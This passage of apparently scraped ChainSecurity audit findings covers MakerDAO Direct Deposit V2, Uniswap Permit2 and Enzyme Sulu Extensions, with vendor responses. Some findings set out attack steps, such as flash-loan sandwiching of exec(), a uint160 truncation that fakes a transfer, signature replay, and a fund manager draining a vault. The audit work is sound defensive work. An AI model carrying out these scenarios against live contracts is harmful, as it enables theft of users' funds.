Acknowledged: The \u201cDisable\u201d event is emitted when the contract is disabled using the disable function. This function can be called permissionlessly if the plan leaves the active state. When the Maker governance uses the file function to set bar to 0, the \"File\" event is emitted. This pattern matches the pattern elsewhere in Maker contracts when parameters are changed by authorized users. Analysts monitoring the contract for shutdown will need to look for both Disable() and File(\u201cbar\u201d, 0) in their event parsing scripts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "5.3 Inconsistencies", "body": " Similar contracts differ at similar places but could be more consistent. For example: The D3MAavePool does not validate that the aDAI address is non-zero while the D3MAavePlan does. file() for D3MCompoundPlan validates the target interest rate against the maximum while the D3MAavePlan treats it as special case. The D3MCompoundPool performs a == check after deposit() while the D3MAavePool performs a >= check. The target interest rate is barb in the D3MCompoundPlan and bar in the D3MAavePlan. Pre- and post-conditions may be treated as documentation and, hence, having them consistent and similar may clarify the assumptions the D3M Hub makes about the modules' behaviour. The D3MAavePool now validates that the aDAI address is non-zero. Acknowledged: in file() An additional check this must be validated within D3MAavePlan._calculateTargetSupply(). MakerDAO responded that the additional check in D3MCompoundPlan.file() is to prevent spell crafters from shooting themselves in the foot as the block based borrow rate Compound uses does not feel intuitive. Generally the policy is to leave the file functions as simple as possible and put guard rails into other contracts such as dss-exec-lib. is unnessesary as The strict equality is desired, however in D3MAavePool there may be a 1 wei rounding error depending on state hence the looser requirement. MakerDAO - Direct Deposit V2 - 14 DesignLowVersion3AcknowledgedDesignLowVersion3CodePartiallyCorrectedAcknowledged \f MakerDAO responded: In this particular case, bar is a per-year interest rate in RAY units, while barb is a per-block interest rate in WAD units. To name these variables the same for consistency would likely cause spell crafters, risk, and governance to make a massive mistake in setting the target borrow rate in the future. For this reason, we named them differently. That is, they are deliberately inconsistent for safety and security reasons. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "5.4 end.skim() May Leave ink Behind", "body": " Normally, the ink / art of the pools urn at the VAT should be at a 1:1 ratio. Anyone however may use frob() and by supplying DAI one can reduce any urns debt. Through the code of D3MHub _fix() is used to fix the urn. In one corner case this is not done: Just before the VAT is caged, someone repays debt of the urn of a pool. art is now less than ink. After the VAT is caged exec() is called. The following code is executed: } else if (mode == Mode.MCD_CAGED) { // MCD caged // debt is obtained from free collateral owned by the End module _end = end; _end.skim(ilk, address(_pool)); daiDebt = vat.gem(ilk, address(_end)); end.skim() settles the debt of the urn by confiscating ink. As not all ink is needed to cover the art of the urn, there is some ink remaining. This collateral will be locked forever. Acknowledged: MakerDAO states: This is an acceptable edge case that we assess to pose little or no risk. The actor that \u201cdonates\u201d DAI to create the situation loses value, and the effects on other actors are minimal. DAI holders receive the same distribution they would have had the donation not occurred (although in principle they could have received even more had the donation been taken into account). Vault holders are not affected. The external lending market now technically has a certain amount of locked DAI lending supply, but given the fundamental shift in the nature of DAI due to, Emergency Shutdown of the Maker protocol, this is unlikely to matter at all. While special-case logic could be added in `exec` to account for this, it likely isn\u2019t worth the extra complexity. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "5.5 Immutable InterestRateModel", "body": " In the D3MCompoundDaiPlan contract, InterestRateModel is marked as immutable : InterestRateModel public immutable rateModel; MakerDAO - Direct Deposit V2 - 15 CorrectnessLowVersion3AcknowledgedCorrectnessLowVersion1Acknowledged \fThis field corresponds to the InterestRateModel field of the CErc20 money market that has DAI as underlying asset. The CErc20 contract inherits from the CToken contract, which means the InterestRateModel can be updated : function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { /*...*/ } An update of the InterestRateModel field of the CErc20 contract cannot be reflected in the D3MCompoundDaiPlan contract since the InterestRateModel field is marked as immutable. The stored rateModel is used in function _calculateTargetSupply. Should the interest rate model of the cDAI token be updated unexpectedly, the calculations may be incorrect. Acknowledged: Maker acknowledges the issue and states: If the rate model changes unwinding can be permissionlessly triggered through the hub's `cage` function. We are now also working on having that block `exec` immediately (on a separate branch). Update: As of pool is caged. , if the interest rate model changes, exec will trigger an unwind as though the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "5.6 Optimization of auth Modifier", "body": " The auth modifier of the D3MPlanBase contract checks the condition wards[msg.sender] == 1. However, as the ward mapping only contains values of 0 and 1, it is sufficient to check that wards[msg.sender] != 0. This results in a slightly more efficient compilation of the modifier. Acknowledged: Maker prefers to stay with the current implementation as it is used in other Maker repos. MakerDAO - Direct Deposit V2 - 16 Version3DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Unclaimable or Leftover PoolShares During Global Settlement -Severity Findings Unwind Collects Interest, Fails to Reach Target Interest Rate Discrepancy in the Handling of Unachievable Target Interest Rates Insufficient Conditions for active() Plan No Events No Natspec 0 0 1 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "6.1 Unclaimable or Leftover PoolShares During", "body": " Global Settlement When winding DAI into a module, backed by the expected pool shares to be received, the gem balance is increased by the DAI amount to be generated. This amount of gem is then locked as ink which, due to the 1:1 ratio will correspond to the urns art. By design, the accounting in the VAT remains unaware of any changes in the pool shares value held by the D3MPool contract. In normal operation, surplus is handled by taking the profit while the loss case is generally unhandled. Please refer to the corresponding open question at the end of this report. If the VAT is caged, calling end.skim() cancels all of the owed DAI from the Vault and assigns the freed ink collateral to the END which is later distributed amongst all DAI holders. The value of the PoolShares held by the D3MPool contract however may changes: For rebasing tokens, the amount of tokens may change (Aave aDAI). For others the exchange rate may change (Compound cDAI). In the late state of the shutdown users will receive of these D3M gems. They can then redeem these gems for the underlying using D3MHub.exit(). In case of aDAI the call to D3MAavePool.transfer() will transfer the amount of gem in aDAI. In case of cDAI the call to D3MCompoundPool.transfer() will transfer the amount of gem divided by cDai.exchangeRateCurrent(), which translates to the current amount of cDAI token which corresponds to this DAI amount. The third party systems are independent of the VAT. These may continue to operate normally and accrue more interests during the Shutdown process. Or they may be excess profit which has not been collected yet. MakerDAO - Direct Deposit V2 - 17 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion3CodeCorrected \fLeftover collateral tokens will remain at the D3MPool contracts: D3MAavePool: The aDAI balance held exceeds the sum of gem, hence not all aDAI can be distributed. D3MCompoundPool: Due to a favorable cDai.exchangeRateCurrent() not all cDAI will be consumed when users exit their gem. Whenever there was a loss, either before or during the shutdown process, not all gem can be redeemed: D3MAavePool: The aDAI balance held is insufficient to redeem all the gem, hence not all gem can be redeemed. D3MCompoundPool: The available cDAI balance is insufficient to redeem all gem with the current cDai.exchangeRateCurrent(), hence not all gem can be redeemed. The gem balance is now treated as a share of the pool's LP token balance. Hence, users will be able to withdraw their corresponding share. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "6.2 Unwind Collects Interest, Fails to Reach", "body": " Target Interest Rate exec() determines the current state and either winds or unwinds as necessary. If no other constrains apply, it attempts to have supplied plan.getTargetAsset() amount of DAI. The implementation of unwind() however may remove more assets and the resulting pool state is not exactly as targeted. is to due This states: Upon unwinding, interest will automatically be collected.. Interests however are removed in addition to the calculated supply reduction reducing in less than the calculated amount of DAI remaining in the pool. implementation unwind(). README The the of The implementation of unwind() first calculates the amount to unwind based on the calculated supplyReduction and constraints: // Unwind amount is limited by how much: // - max reduction desired // - assets available // - dai debt tracked in vat (CDP or free) uint256 amount = _min( _min( supplyReduction, availableAssets ), daiDebt ); require(amount <= MAXINT256, \"D3MHub/overflow\"); and later adds the fee on top for the amount to withdraw. // To save gas you can bring the fees back with the unwind uint256 total = amount + fees; MakerDAO - Direct Deposit V2 - 18 CorrectnessLowVersion3CodeCorrected \f//uint total = amount; _pool.withdraw(total); As too many DAI have been removed, the utilization is higher and the target interest rate is not reached. A second call to exec() could rectify this by resupplying the missing amount of DAI. The implementation of exec() has been redesigned, the issue described above no longer exists. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "6.3 Discrepancy in the Handling of Unachievable", "body": " Target Interest Rates There is no upper bound on the value of targetInterestRate in the _calculateTargetSupply function, nor on barb in the file function. Consequently, it is possible to obtain a target utilization rate (targetUtil) above 100% in _calculateTargetSupply. This is not possible in Compound, thus the target interest rate is unachievable. However, _calculateTargetSupply will return a non zero value as if the target rate was achievable. This is not consistent with the behavior of _calculateTargetSupply in the other cases where the target interest rate is not achievable: When targetInterestRate is above normalRate but jumpMultiplierPerBlock is zero, or when targetInterestRate is below baseRatePerBlock, _calculateTargetSupply returns 0. _calculateTargetSupply now returns 0 when the calculated utilization is over 100%. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "6.4 Insufficient Conditions for active() Plan", "body": " Plans can be manually disabled or enabled. However, that may also happen automatically. For example, the D3MCompoundPlan will become inactive if the implementation contract has changed. While the checks for both plans are rather extensive, there could be some properties that could also be considered for the active() view function. For example: Aave does not offer querying the implementation contract such as compound but offers getRevision() which returns the version of the AToken. Similarly, that holds for other Aave contracts such as the lending pool. Before depositing into Aave, Aave does a validateDeposit() check which checks if an AToken is active and not frozen. Before depositing into Compound, the CToken calls mintAllowed() on the Comptroller to check if the market is listed or paused. Were these and similar properties considered and why aren't they use in the active() function? MakerDAO - Direct Deposit V2 - 19 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f MakerDAO responded: The first check for Aave (ATOKEN_REVISION) is very helpful and has been added. The other two concern a paused or inactive token in Aave or Compound. We explored this during our internal review and unfortunately, found that this is not a helpful check to add to `active`. When a plan returns `false` for active, then we attempt to unwind as much of our position as possible. In the case where the AToken is not active/frozen or the CToken is not listed/paused, any transfer of those tokens will revert so we will not be able to withdraw. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "6.5 No Events", "body": " Neither function file nor disable of the D3MCompoundDaiPlan contract emit an event after the parameter barb has been changed. Normally file functions of Maker projects emit an event. Events are now emitted. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "6.6 No Natspec", "body": " The external functions, although being view functions only, feature no description / natspec. Is this intentional? Description may allow user to better understand the function parameters (e.g. the currentAssets of getTargetAssets()) and the return values, thus potentially avoids errors. For example it's not immediately obvious if some parameters are in cDAI or DAI. MakerDAO added NatSpec documentation. MakerDAO - Direct Deposit V2 - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Open Questions Here, we list open questions that came up during the assessment and that we would like to clarify to ensure that no important information is missing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "7.1 Checks on deposit()/ withdraw()", "body": " Both pool implementations implement sanity checks upon deposit in order to ensure the expected amount of pool shares has been received. Upon withdrawal the D3MHub enforces that a sufficient amount of DAI is present. Otherwise, the transaction reverts when DAIJOIN.join() fails. Generally, this checks whether redeeming pool shares resulted in the expected amount of DAI, except in corner cases when there was additional DAI balance present for the D3MHub. A situation where redeeming pool shares results in less than expected DAI is not detected by the D3MHub contract. While the transaction reverts, the D3M hub will remain unaware. A later call to execute, after the utilization of the third party has changed, may wind more DAI into this broken system. Should there be an on-chain protection mechanism or will this be handled by off-chain monitoring and then disabling a pool through the mom? MakerDAO - Direct Deposit V2 - 21 OpenQuestionVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "8.1 Anyone Can Manipulate the Allocation", "body": " By design, the plans' computations on how much to withdraw/deposit heavily depends on on-chain state: The plans aim to reach a target interest rate which is depending on the current utilization ratio. This depends on: 1. the current pool size 2. the currently borrowed amount Note, that both can be easily manipulated before exec() is called. This may be done within the same transaction or in separate transactions. However, this is almost like the normal intended use of the system: Pool states change after interactions, exec() is used to return the pool to the desired stated. The current pool size for example can be manipulated by sandwiching exec() as follows: 1. Deposit DAI into the external system's pool by minting LP tokens. 2. exec() 3. Withdraw DAI by burning LP tokens. Note that such manipulation can easily be achieved at low cost to a certain degree since, for example the DAI flash mint module, offers DAI flash loans for free. The second one can be manipulated by sandwiching exec() as follows: 1. Borrow a significant amount of DAI from the pool. 2. exec() 3. Payback the loan. Note that this manipulation requires some extra steps such as depositing collateral to borrow DAI. However, the needed collateral amount could be either already held by a malicious user or could be flash loaned at potentially low cost. In summary, exec() always attempts to reach the target utilization. In a three-step process, first by modifying the state (e.g., depositing DAI minting pool shares), calling exec() which now winds/unwinds into the wrong direction to temporarily reach the target utilization. Finally, the attacker may undo the state manipulation of step 1) (e.g., returning the pool shares he borrowed) and the pool utilization is significantly off. As long as exec() works as intended, this is no issue. A subsequent call to exec can return the pool to the desired state. Note that in corner cases this may not be possible: Limitation from maxDeposit() / maxWithdraw(), Line or available liquidity to withdraw DAI may prevent this. Should an attacker manage to trick exec() to wind/unwind but a subsequent exec() cannot undo this (temporarily), this is problematic. A potentially costly attack could be to borrower much DAI over a long time such that the position cannot unwind properly. A variation of this could be front-running calls to exec() which would unwind and remove the available DAI liquidity. MakerDAO - Direct Deposit V2 - 22 NoteVersion1 \f8.2 Caging Arbitrary Ilks Technically, for the governance it is possible to cage ilks to either do not exist yet or that are not D3M ilks. Potential consequences could be: The non-existing ilk is added to the system and could be immediately culled. The non-D3M ilks could be added that could be similarly culled. However, if 0x0 has some ink or art for that ilk, the ink will be converted to gem while the debt will be written off. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "8.3 Document VAT Shutdown", "body": " VAT Shutdown considerations are not documented for this special ilk type. Due to the special nature / behavior such documentation should be readily available and may include: Description of the different states a D3M ilk could be in Effects of unwinding during shutdown (MCD_cage mode) and a description of the process Culling and what implications a culled ilk during shutdown has Unculling and the reasons when it could be worth calling it, and the conditions for when uncull() can be called Considerations when ilks were not fully unwinded (e.g. D3M oracles can not be queried and hence the ilk cannot be caged) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "8.4 Exposure to New Collaterals / Markets", "body": " Currently the set of ilks / collaterals backing the DAI Stablecoin is rather restricted to well known and trusted assets only. D3MHub lends DAI to third party protocols such as AAVE and Compound. This results in exposure to new markets and collateral assets. The risk can be limited through the Line / debt ceiling set for the corresponding ilk. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "8.5 Maximizing Revenue", "body": " By supplying DAI into lending protocols such as Compound/Aave the protocols utilization is reduced and borrowing DAI gets cheaper. With DAI generated through D3M Maker only profits from interests accrued by the DAI in the third party protocol in contrast to DAI generated with normal ilks where users have to pay the stability fee. With Compound/Aave users earn interest on their collateral while paying interest for borrowed DAI. The users position has to be overcollateralized, hence the supply interest are earned on a larger amount compared to the borrow interest on the smaller DAI amount. There is a risk that users can get DAI cheaper via these protocol compared to using the Maker Dai Stablecoin system if the parameters for the target borrow rate / pool utilization are not chosen carefully. MakerDAO - Direct Deposit V2 - 23 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fE.g. at the time of writing (July 17th, 2022): Aave V2: The variable borrow APY for DAI is 1.69% at a pool utilization of 33.46% while the supply APY for Ether is 0.08%. Compared to the ETH-A stability fee in Maker is 2.25%. Compound: The borrow AP for DAI is 1.79% with a pool utilization of 31.19%. The supply APY for LINK token is 0.43% Compared to the Link-A Stability fee in Maker of 2.50%. The target interest rate must be chosen carefully taking into account the different stability fees of different ilks for the D3M to be worthwhile. Depending on the state of the lending pool (e.g. low utilization / low rates) this may not be possible. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "8.6 Unhandled Loss Case", "body": " When winding DAI into a module, backed by the expected pool shares to be received the gem balance is increased by the DAI amount to be generated. This amount of gem is then locked as ink which, due to the 1:1 ratio will correspond to the urns art. By design the accounting in the VAT remains unaware of any changes in the pool shares value held by the D3MPool contract. If the module generates a profit in form of interests the profit is accounted for. If the third party system makes a loss, the value of the pool shares held by the D3M pool may decrease. exec() does not catch this and may continue to wind DAI into the module if the plan asks to do so. Such a module / ilk must be caged manually by the governance. MakerDAO replied: Note that it is true that when there is a problem, such as a hack in Compound or Aave, the exchange rate or rebalancing can be altered both ways. We think this risk is not significantly different from existing risks in non-immutable collateral types, and is limited by debt ceilings. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "8.7 VAT Debt Could Increase After END.thaw()", "body": " After the processing period of the shutdown, the call to END.thaw() will fix the total outstanding supply of DAI according to VAT.debt(). uncull() can still be called. This will suck() and then grab() such that the total debt of the VAT is increased and, thus, it could be possible that the total outstanding DAI supply is increased even after END.thaw(). MakerDAO states: We are aware of the importance/need to uncull all culled D3Ms and will be working to add this to our End Keeper processes. This is similar to the importance that all collaterals get skimmed in the waiting period. MakerDAO - Direct Deposit V2 - 24 NoteVersion1NoteVersion1 \fMakerDAO - Direct Deposit V2 - 25 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-direct-deposit-v2/"}, {"title": "5.1 Race Condition on Approvals", "body": " Since there is no direct way to increase and decrease allowance relative to its current value, the function AllowanceTransfer.approve() has a race condition similar to one of ERC-20 approvals. Further details regarding the race condition can be found here. Risk accepted: Uniswap responded: We opted not to address this issue. If users really care about this attack vector it means they are likely signing a spender they don\u2019t fully trust, and they can always approve(x), approve(0), approve(y). We also expose a lockdown function that can batch remove approvals for users, before setting new approvals. Uniswap - Permit2 - 11 SecurityDesignCriticalHighMediumRiskAcceptedLowDesignMediumVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Permit2Lib Argument Casting -Severity Findings -Severity Findings CALL to DOMAIN_SEPARATOR() 0 1 0 1 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/uniswap-permit2/"}, {"title": "6.1 Permit2Lib Argument Casting", "body": " The functions permit2 and transferFrom2 of Permit2Lib both take uint256 amount as an argument. The lib will first attempt to call the token directly and falls back to the call to Permit2 if it fails. However, the Permit2.permit and Permit2.transferFrom take uint160 amount as an argument. The initial uint256 amount will be cast to uint160 for that call. Assuming some contract A relies on transferFrom2 for token transfers, the following can happen: 1. The user calls a function on A that attempts to pull funds from the user using transferFrom2. For amount, the user specifies 2**170. 2. A direct call to token.transferFrom fails. 3. Permit2Lib falls back to Permit2.transferFrom with uint160(2**170) == 0 as an amount. 4. The call is successful. No value is actually transferred. 5. Contract A now thinks that 2**170 tokens were actually transferred. Similar casting happens in the permit2 function. The SafeCast library is now used for casting to a uint160 before the Permit2 contract is called. The casting of a value that is greater than type(uint160).max would revert now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/uniswap-permit2/"}, {"title": "6.2 CALL to DOMAIN_SEPARATOR()", "body": " EIP-712 defines the function DOMAIN_SEPARATOR() as a view function. Hence, it is expected to always work properly with STATICCALL. However, Permit2Lib.permit2() queries the domain separator with CALL, allowing the state to change in sub-calls as well as reentrancy. The contracts that will use the Permit2Lib could break unexpectedly. Uniswap - Permit2 - 12 CriticalHighCodeCorrectedMediumLowCodeCorrectedSecurityHighVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The STATICCALL is used to query the DOMAIN_SEPARATOR in of the code. Uniswap - Permit2 - 13 Version2\f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/uniswap-permit2/"}, {"title": "7.1 Overflow Theoretically Possible for ", "body": " AllowanceTransfer.nonces nonce Nonces are incremented with unchecked arithmetic. This means that incrementing them may lead to overflows, allowing for replay attacks. This is unlikely to happen solely through permit, which increases uint32. However, with the AllowanceTransfer.invalidateNonces() overflows could happen after 65537 calls since it uses type uint16. Thus, signers can potentially endanger themselves by misusing the invalidateNonces function. nonce since type one the by of is changes: nonce is of type uint48 in updated code. Thus, while the overflow is theoretically still possible, practically it is highly unlikely to happen. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/uniswap-permit2/"}, {"title": "7.2 Signature Malleability if Misused", "body": " of the code the SignatureVerification.verify function accepts EIP-2098 In the compact 64 byte signature in addition to the traditional 65 byte signature format. If the replay protection mechanism is implemented using the signature itself, an attack can be performed. The contracts of Permit2 use nonces the SignatureVerification library must be done with this attack in mind. OpenZeppelin library had such an incident before. thus are safe. But any replay protection and reuse of for Also, the SignatureVerification does not perform checks described in Appendix F of the Ethereum Yellow paper e.g. 0 < s < secp256k1n \u00f7 2 + 1. Thus, for any given signature a signature with s-values in the upper range can be calculated. If the replay protection mechanism is implemented using the signature itself, an attack can be performed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/uniswap-permit2/"}, {"title": "7.3 invalidateUnorderedNonces Possible", "body": " Arguments SignatureTransfer.invalidateUnorderedNonces can invalidate nonces with wordPos values up to uint256.max. However _useUnorderedNonce can only invalidate up to uint248.max. This allows the invalidation of nonces that can never be used. Uniswap - Permit2 - 14 NoteVersion1Version2NoteVersion2Version2NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/uniswap-permit2/"}, {"title": "5.1 Preferential Withdrawal", "body": " 0 0 1 1 When there are more withdrawal requests than can be serviced, all users receive the same percentage of their withdrawals. A user that wants to make a partial withdrawal could take advantage of this. Consider an example where withdrawal requests are fulfilled at 50%. A user that wants to withdraw 100 shares could instead request to withdraw 200 shares (given he has enough shares). Their request would be fulfilled by half, giving them 100 shares. Now they can cancel the remaining withdrawal request. In this way, the user was able to circumvent the withdrawal limit at no cost. Other users were able to withdraw fewer shares than they would have otherwise. Risk accepted: Avantgarde Finance states: This is the intended behavior. Also note that redeemers who request to redeem more than they actually would like to redeem are risking that their entire requested amount be redeemed in full if the cap is not met, the cap is updated by the manager, or other redeemers cancel their requests. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "5.2 BondBuyer: Claims Involving Ether Track", "body": " Wrong Asset Avantgarde Finance - Sulu Extensions IX - 11 DesignCorrectnessCriticalHighMediumRiskAcceptedLowAcknowledgedDesignMediumVersion1RiskAcceptedCorrectnessLowVersion1Acknowledged \fClaiming a position involving Ether will result in the wrong asset being added to the tracked assets of the vault. Note that the vault actually supports receiving Ether (it immediately wraps it as WETH). Consider the parser of the SolvV2BondBuyerPosition: else if (_actionId == uint256(ISolvV2BondBuyerPosition.Actions.Claim)) { (address voucher, uint256 tokenId, ) = __decodeClaimActionArgs(_encodedActionArgs); ISolvV2BondVoucher voucherContract = ISolvV2BondVoucher(voucher); uint256 slotId = voucherContract.voucherSlotMapping(tokenId); ISolvV2BondPool.SlotDetail memory slotDetail = voucherContract.getSlotDetail(slotId); assetsToReceive_ = new address[](2); assetsToReceive_[0] = voucherContract.underlying(); assetsToReceive_[1] = slotDetail.fundCurrency; For arbitrary vouchers, one of the assets may be Ether as Ether is technically supported by the Solv v2 smart contracts. Solv v2 represents the Ether asset as \"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE\" which in this case will be added to assetsToReceive. Within Enzyme, however, the correct asset to track in this case would be the address of WETH. This results in an unsupported asset being tracked by a vault which may have severe consequences. For example, it breaks calcGav(). Whether such vouchers actually exist depends on the market configurations administrated by Solv Protocol. These markets may change in the future. Since the external position may interact with any offer on the IVOMarket / any voucher, such an issue may arise. The InitialVoucherOfferingMarket currently doesn't support to create offers with Ether as underlying since offer() misses the payable modifier. Note that the implementation otherwise supports the case to handle Ether. The currency of a voucher may be Ether. Contrary to offer() buy() features the payable modifier and hence such vouchers can be bought successfully. Note that one can't buy such a position in Ether via the external position since it doesn't support providing ERC20 tokens. This however doesn't prevent all scenarios where claim() may return Ether as such an NFT may be transferred directly to the external position. Acknowledged: Avantgarde Finance states: While ETH can technically be the currency of the offer, Solv\u2019s refund logic depends on it being a stablecoin: https://github.com/solv-finance/solv-v2-ivo/blob/ ac12b7f91a7af67993a0501dc705687801eb3673/vouchers/bond-voucher/ contracts/BondPool.sol#L174 Avantgarde Finance - Sulu Extensions IX - 12 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings 0 0 0 0 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "6.1 Missing indexed in Event", "body": " The event initialized emitted in GatedRedemptionQueueSharesWrapperLib.init() contains the address of the VaultProxy. This field is not indexed, hence one can't easily search such events for a certain VaultProxy. Given that the Factory doesn`t implement access control when deploying new shares wrappers it may be helpful to have this field indexed so that one can more easily search the events. The parameter of the event has been indexed. Avantgarde Finance - Sulu Extensions IX - 13 CriticalHighMediumLowInformationalVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "7.1 Number of Assets", "body": " By design, the external position framework adds all assets specified as incoming assets to the tracked assets of the vault, regardless whether the vault has a non-zero balance at the end of the operation. Notably ISolvV2BondBuyerPosition.Actions.Claim adds two assets as both may be received. In a corner case scenario, despite actually receiving one asset only, adding two may exceed the position limit and hence the operation fails. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "7.2 OpenZeppelin ERC20 Hooks", "body": " The GatedRedemptionQueueSharesWrapperLib overrides transfer()/transferFrom() in order to validate the transfer (__preProcessTransfer). The OpenZeppelin ERC20 implementation provides a hook, (_beforeTokenTransfer) which could be used for this. Note that this hook is also executed upon minting/burning. For more information please refer to documentation of OpenZeppelin: https://docs.openzeppelin.com/contracts/3.x/extending-contracts#using-hooks Avantgarde Finance - Sulu Extensions IX - 14 InformationalVersion1InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "8.1 Bond Buyer Requires Trusted Fund Manager", "body": " Investors need to trust the fund manager to a certain degree. fund manager can always drain A https://specs.enzyme.finance/topics/known-risks-and-mitigations#opportunistic-managers through bad trades. This funds e.g. is documented: Note that this is amplified when a fund can use the SolvV2BondBuyer External Position: A malicious fund manager may create an IVO offer via the Solv Protocol with a very high lowestPrice set for their collateral asset. Then they can buy this offer through the External Position and never pay back the principal to the Bond. This would leave the fund with a small amount of collateral, while the fund manager could keep all value that was in the fund. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "8.2 Deployment of", "body": " GatedRedemptionQueueSharesWrapper Anyone may deploy a GatedRedemptionQueueSharesWrapper for any fund through the factory. This includes setting the initial configuration. For example, a deployer can set themselves as manager. Users and fund owner should be aware and excercise extra caution. The owner of a fund has full control over any such GatedRedemptionQueueSharesWrapper and can reconfigure it. Multiple SharesWrapper can be deployed for the same fund. Note that they all bear the same name and symbol. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "8.3 Kick Ignores Redemption Limit", "body": " The kick function in the shares wrapper allows an admin to immediately force a user redemption. This ignores the redemption limit. Note that the limit of other users' withdrawals is not reduced by this, so the maximum redeemed amount in that period can be the redemption limit, plus any kick actions in addition. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "8.4 Redemption Requests Not Always Possible", "body": " Note that redemption requests to the shares wrapper can only be made outside of the redemption window. Avantgarde Finance - Sulu Extensions IX - 15 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fThe comments in the code suggest that window frequency could be chosen every 2 weeks and duration 1 week: struct RedemptionWindowConfig { uint64 firstWindowStart; // e.g., Jan 1, 2022; as timestamp uint32 frequency; // e.g., every 2 weeks; in seconds uint32 duration; // e.g., 1 week long; in seconds uint64 relativeSharesCap; // 100% is 1e18; e.g., 50% is 0.5e18 } With these settings, users would only be able to make redemption requests half of the time. If a user is unlucky, they would need to wait for an entire week until they can make a transaction that does not revert. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ix/"}, {"title": "8.5 Vault May Track Unsupported Assets", "body": " The external position framework relies on the parser of the external position to check the assets returned as 